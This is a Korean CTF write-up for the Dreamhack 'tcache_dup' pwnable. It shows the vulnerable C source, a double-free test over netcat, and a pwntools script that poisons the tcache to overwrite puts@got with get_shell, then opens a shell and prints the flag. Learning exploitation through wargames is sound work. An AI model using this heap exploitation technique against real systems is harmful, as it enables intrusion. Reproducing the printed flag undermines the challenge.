[*] '/home/ion/security/wargame/dreamhack/pwnable/tcache_dup/tcache_dup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Canary와 NX 보호 기법이 걸려있습니다.
// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if(cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if(!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while(1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
근데 이번에는 청크 값을 수정할 수 있는 함수가 없어서 DFB 보호 기법을 우회할 수 없습니다.
어떻게 하라는건지 몰라서 일단 서버에 접속해서 Double Free Bug를 시도해봤는데
ion ~/security/wargame/dreamhack/pwnable/tcache_dup nc host3.dreamhack.games 9726
1. Create
2. Delete
> 1
Size: 16
Data: AAAAAAAA
1. Create
2. Delete
> 2
idx: 0
1. Create
2. Delete
> 2
idx: 0
1. Create
2. Delete
>
DFB 보호 기법이 안걸려 있습니다.
그냥 free 두번하고 puts@got
를 get_shell
함수로 덮으면 될거 같습니다.
from pwn import *
p = remote("host3.dreamhack.games", 9726)
e = ELF("./tcache_dup")
libc = ELF("./libc-2.27.so", checksec=False)
#context.log_level = 'debug'
get_shell = e.symbols['get_shell']
puts_got = e.got['puts']
def slog(symbol, addr):
return success(symbol + ": " + hex(addr))
def create(size, data):
p.sendlineafter("> ", "1")
p.sendlineafter("Size: ", str(size))
p.sendafter("Data: ", data)
def delete(idx):
p.sendlineafter("> ", "2")
p.sendlineafter("idx: ", str(idx))
# Double Free
create(0x10, "dreamhack")
delete(0)
delete(0)
# Overwrite puts@got -> get_shell
create(0x10, p64(puts_got))
create(0x10, 'A'*8)
create(0x10, p64(get_shell))
p.interactive()
✘ ion ~/security/wargame/dreamhack/pwnable/tcache_dup python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 9726: Done
[*] '/home/ion/security/wargame/dreamhack/pwnable/tcache_dup/tcache_dup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
$
$ ls
flag
run.sh
tcache_dup
$ cat flag
DH{11203ceeb905ad94be39c7a1e3b6a540}